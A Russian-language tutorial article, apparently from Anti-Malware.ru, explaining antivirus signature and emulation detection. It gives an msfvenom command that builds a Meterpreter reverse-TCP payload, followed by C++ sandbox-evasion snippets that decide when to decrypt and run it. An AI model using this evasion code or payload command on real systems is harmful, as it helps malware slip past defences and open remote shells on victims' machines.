Как обмануть сигнатурный детект антивируса

Как обмануть сигнатурный детект антивируса

Как обмануть сигнатурный детект антивируса

Попробуем обмануть сигнатурный детект знаменитых антивирусных продуктов (Kaspersky, Avira, Avast и прочие на VirusTotal). Для этого попытаемся установить вредоносную нагрузку windows/shell/reverse_tcp от Metasploit. Начнем мы со сбора информации — что конкретно делает антивирусный продукт для того, чтобы остановить вредоносную программу.

 

 

 

 

  1. Статические меры
  2. Динамические меры
  3. Решения
  4. Выделение слишком большого объема памяти
  5. Знайте вашу цель
  6. Вывод

Статические меры

Сигнатурный статический анализ основан на методе черного списка. Когда новые вредоносные программы обнаруживаются антивирусными аналитиками, генерируется подпись (она же сигнатура). Эта сигнатура является частью конкретного двоичного (исполняемого) файла, а точнее, первых исполняемых байтов. Таким образом, база антивируса содержит миллионы сигнатур, с которыми сравнивает сканируемый код.

Проблема этого подхода в его неспособности обнаружить новые вредоносные программы. Все, что нужно сделать создателю вредоносной программы — создать новый код или сделать небольшую модификацию существующего, сигнатура уже не сработает. Некоторые вирусы даже имеют способность менять свой код при каждом запуске.

Статический эвристический анализ — это когда антивирус проверяет обнаруженный файл на соответствие шаблонам вредоносных программ. Существует множество возможных правил, которые зависят от конкретного продукта. Основным преимуществом эвристического анализа является то, что его можно использовать для обнаружения новых вредоносных программ, которые не числятся в базе данных сигнатур. Главный недостаток заключается в том, что имеются ложные срабатывания. Например, программа, которая запускает экземпляр explorer.exe и записывает в свою виртуальную память, считается вредоносной (хотя по факту может таковой не являться).

Но если мы зашифруем злонамеренный шелл-код, то оба этих способа явно устарели. В зашифрованных байтах нет сигнатур или характерных действий. Вот почему все хорошие антивирусные продукты полагаются на динамический анализ.

Динамические меры

Это как раз то, о чем мы говорили выше: антивирусный продукт знает, что зашифрованный вредоносный код должен быть расшифрован, поэтому он пытается проанализировать его, запустив вредонос в эмулируемой среде. Соответственно, чтобы обойти этот метод анализа, вредоносная программа должна уметь различать, когда она запущена в виртуальной среде, а когда в реальной.

Из-за того, что антивирус не может использовать слишком много системных ресурсов (память, мощность обработки и т. д.), эмулируемая среда, конечно, отличается от реальной. Есть и другие методы анализа во время выполнения, но они сильно разнятся по конкретному антивирусу, поэтому рассмотрим их позже. Сейчас же попробуем обойти уже упомянутые методы.

Решения

Например, будем использовать Metasploit для генерации вредоносного пейлоада для Windows 10, у всех антивирусов должна быть сигнатура для него. Далее включаем пейлоад в программу на C++, которая будет решать, должна ли она расшифровывать и запускать вредоносную нагрузку или нет.

Вот строка кода, генерирующая пейлоад:

msfvenom -p windows/x64/meterpreter/reverse_tcp -f c -b '\x00' -i 0 LHOST=192.168.1.103 LPORT=4444

Напомним, что для начала мы тестируем вредоносную составляющую, которая расшифровывается при выполнении, как следствие, получаем предсказуемый результат детектирования на VirusTotal:

Выделение слишком большого объема памяти

В первом примере учитывался тот факт, что эмулированная среда не имеет большого пространства на жестком диске. Программа пытается выделить 10 000 000 байт памяти. Если ей это не удается (memdmp == NULL), она просто завершает работу. Если же это условие соблюдено, программа расшифрует и запустит наш пейлоад.

#define TOO_MUCH_MEM 100000000
int main() {
char *memdmp = NULL;
memdmp = (char *) malloc(TOO_MUCH_MEM);
if( memdmp != NULL ) {
memset( memdmp, 00, TOO_MUCH_MEM);
free( memdmp );
decryptAndRunPayload();
}
return 0;
}

Антивирусы не могут позволить себе занять пространство такого размера для своей эмулируемой среды, поскольку пользователям не понравится, что их антивирусная программа использует гигабайты жесткого диска. Так что это иногда используется для обнаружения виртуальных сред, таких как VirtualBox и VMware.

Выходит, нужно отталкиваться от того, что среда анализа антивируса имеет слабую вычислительную мощность. Наша программа выполняет миллионы шагов в цикле for, антивирус должен ускорить процесс, чтобы пользователь не ждал слишком долго, поэтому он будет пропускать какие-то шаги. Учитывая это, наша программа проверяет значение счетчика, чтобы обнаружить наличие среды.

#define MAX_OP 100000000
int main() {
int counter = 0;
for( int i =0; i < MAX_OP; i++ ) counter++;
if( counter == MAX_OP ) {
DecryptAndRunPayload();
}
return 0;
}

Принцип простой — эмулируемая среда никогда не сможет работать так же хорошо, как реальная.

Еще один интересный метод берет за основу то, что антивирусная программа не позволит анализируемой подключаться к интернету, потому что нет времени ждать ответа сервера. Следующий код использует тот факт, что эмулятор антивируса подставляет фальшивый сайт вместо запрашиваемого:

#include <WinInet.h>
#pragma comment(lib, "Wininet.lib")
int main() {
char cononstart[] = "http://www.notrealwebsite.com//"; //Invalid URL
char readbuf[1024];
HINTERNET httpopen, openurl;
DWORD read;
httpopen = InternetOpen( NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0 ); openurl = InternetOpenUrl( httpopen, cononstart, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET _FLAG_NO_CACHE_WRITE, NULL );
if ( !openurl ) { // Access failed, we are not in AV
InternetCloseHandle(httpopen);
InternetCloseHandle(openurl);
decryptAndRunPayload();
}
else { // Access successful, we are in AV and redirected to a custom webpage
InternetCloseHandle(httpopen);
InternetCloseHandle(openurl);
}
return 0;
}

По-видимому, антивирусы меняют название процесса. Мы используем имя процесса, чтобы решить, хотим ли мы расшифровать пейлоад:

int main(int argc, char * argv[]) {
if (strstr(argv[0], "test.exe") >0) {
decryptPayload();
runPayload();
}
return 0;
}

Просто и со вкусом, однако не без недостатков — метод не сработает, если пользователь переименует файл.

Знайте вашу цель

В этом примере мы будем использовать некоторую конкретную информацию об атакуемой системе. Это может быть имя пользователя, наличие определенного файла и тому подобное.

#define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file"
int main() {
HANDLE file;
DWORD tmp;
LPCVOID buff = "1234";
char outputbuff[5]={0};
file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if(WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL)) {
CloseHandle(file);
file = CreateFile(FILE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL , NULL);
if(ReadFile(file,outputbuff,4,&tmp,NULL)) {
if(strncmp(buff,outputbuff,4)==0) {
decryptCodeSection();
startShellCode();
}
}
CloseHandle(file);
}
DeleteFile(FILE_PATH);
return 0;
}

Сканеры антивирусов, как правило, не могут писать в файл, находящийся по нетипичному пути.

Выводы

Антивирусные системы обнаружения не сложно обойти, если вы понимаете, как они работают. Вы можете попробовать сами, используя инструменты для тестирований на проникновение, такие, например, как AVET.

Кстати, изучая инструменты, которыми пользуются хакеры, вы также научитесь легко определять, заражена ли та или иная машина, а также в целом понимать принципы противостояния «антивирус — вредоносная программа».

Anti-Malware Яндекс ДзенПодписывайтесь на канал "Anti-Malware" в Telegram, чтобы первыми узнавать о новостях и наших эксклюзивных материалах по информационной безопасности.

RSS: Новые статьи на Anti-Malware.ru